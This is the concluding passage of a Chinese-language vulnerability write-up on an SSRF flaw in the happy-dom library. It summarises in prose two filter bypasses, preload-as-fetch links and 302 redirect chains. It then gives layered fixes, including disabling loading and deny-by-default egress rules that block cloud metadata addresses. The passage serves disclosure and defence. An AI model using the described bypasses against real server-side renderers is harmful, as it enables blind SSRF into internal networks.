6.5.5 共同缺失
方向一检验库的覆盖率,方向二检验使用方的过滤层;两者共用一个出口,也都指向同一个缺失:一个统一的、默认拒绝的出网策略点。这个点不存在,补一个分支、加一道 href 检查,都只是把攻击面挪到下一个未检查的位置。
6.6 本章结论
方向一(库内):
as="fetch"** 是默认配置下唯一没有检查的声明式出口。** 运行期开关全为false时,stylesheet / iframe / script / img /as="font"五个控制组全部被拦,只有<link rel="preload" as="fetch">命中,exit=0。这条路径的覆盖范围由 CORS 决定:基址与目标同源时是完整GET;跨源默认属性下,预检与主请求的 preload entry 互相等待,一个包都发不出;加crossorigin="use-credentials"至少能发出OPTIONS,目标回 ACAO 时GET也会继续。方向二(库外):应用层 href 过滤不是边界。 两个只含相对路径的载荷都能通过"只允许相对 / 同源"的过滤器:A 经 302 回到同源敏感路径,得到完整
GET;B 经 302 跳到另一个 origin,至少以OPTIONS预检到达,目标回Access-Control-Allow-Origin: *时GET也继续。默认配置下响应不回显,定性仍是盲 SSRF + 完整 GET 能力。
七、结论与修复建议
7.1 一条链,四个结论
把前面六章压成一句话:happy-dom 把浏览器的"连接即加载"语义完整地带进了服务端,却没有带上服务端的威胁模型。
默认值即策略。
disableCSSFileLoading/disableIframePageLoading的false就是"允许加载",攻击者不需要应用做错任何事。连接是唯一扳机。 入口是
page.content、innerHTML、DOMParser还是别的 API 都不重要,重要的是元素有没有连上(4.1–4.3)。唯一的出口没有策略。
Fetch.sendRequest只负责发,不判断目标;超时、大小上限、地址校验都不在这一层(4.4–4.5)。响应处置决定危害。 同一个出口,响应进 CSS 解析器是盲 SSRF,进
frame.content就能被应用读走(4.6–4.7)。第三章与第五章的两条真实链路,差别只在宿主怎么用这个库。
7.2 修复建议:分四层看
第一层:库使用者,先升级。 21.0.0 起两个开关默认关闭,原 CVE 的两条路径不再出网(3.6 节 2 次 → 0 次,5.5 节三组对照 9 项断言全过)。这是成本最低、也最应优先做的一步。
第二层:暂时升不上去,显式关掉加载。 在构造 Browser / Window 时把两个开关设为 true:
const browser = new Browser({
settings: {
disableCSSFileLoading: true,
disableIframePageLoading: true
}
});
但要知道这道防线的边界(4.6.2、4.7.2):它只关"加载",不做目标校验;srcdoc 在闸门之前仍会渲染;<link rel="preload"> 走的是另一个分支,不在它们的覆盖范围内——这正是第六章方向一的入口。不要把它当成安全边界,它只是把风险收窄。
第三层:应用侧,别把过滤放在 href 上。 如果一定要在应用层设防:
解析前做白名单净化,而不是解析后检查字符串;
任何"只允许相对 / 同源 URL"的判断,都必须把重定向算进去(6.5.3)——只看
href的过滤隔着一个 302 就失效;不要在同一个
BrowserContext里为目标域预置 cookie,否则crossorigin="use-credentials"会把盲 GET 升级成带凭据的盲 GET(4.6.2)。
第四层:网络侧,把"默认拒绝出网"落到解析进程上。 这是唯一与库版本无关的兜底:
给解析 / 渲染进程单独的 egress 策略,默认拒绝,只放行必要目标;
显式阻断云元数据端点与链路本地网段(
169.254.0.0/16、fe80::/10),并优先启用 IMDSv2 这类需要额外请求头的机制;对 DNS 解析后的地址做校验,而不是只校验 URL 字符串——否则重定向与 DNS 重绑定都能绕过(4.5、6.4.3)。
另外,Fetch 提供了 interceptor 作为唯一可加装的策略点(4.4)。它默认是 null,但可以在 beforeAsyncRequest 里拿到请求 URL 并直接拒绝或短路。相比之下,disable* 开关是行为开关,X-Frame-Options 只决定内容能否写回(4.7.4),sandbox 连加载行为都不改变(4.7.2)——这三者都不该被当作 SSRF 的防线。
7.4 参考资料
happy-dom 仓库:https://github.com/capricorn86/happy-dom
安全公告 GHSA-c8p4-j97h-3vg8:https://github.com/capricorn86/happy-dom/security/advisories/GHSA-c8p4-j97h-3vg8
happy-dom 21.0.0 发布说明(默认值翻转):https://github.com/capricorn86/happy-dom/releases
本文涉及的复现工程(随文附带,均为本地可执行):
attachments/CVE-2026-118660-repro/—— 第三章的 Docker 靶场(web+intranet,verify.sh4 项断言)attachments/CVE-2026-118660-storybook/—— 第五章的 Storybook + Vitest 测试链(verify.sh9 项断言)attachments/bypass-lab/—— 第六章的两个绕过实验(scheme1-preload-as-fetch、scheme2-redirect-chain)
文章中用到的所有附件都放到了 https://github.com/0417jinze-glitch/xianzhi_article/tree/main/CVE-2026-118660/attachments
说明:文中所有"命中 / 未命中"的判定均以对端服务的请求日志为准;截图与终端输出来自实测环境,版本与命令已在各章标注。
截图均为终端整窗原图:顶部一行是实际执行的命令,中间是它的全部输出,底部回到提示符;正文里的代码块与截图属于同一次运行的两种呈现,可互相校对。
随文截图已做脱敏处理:窗口标题栏中的登录信息已擦除,提示符里的账号与主机名统一为
dev@lab;命令、输出与时间戳保持实测原样。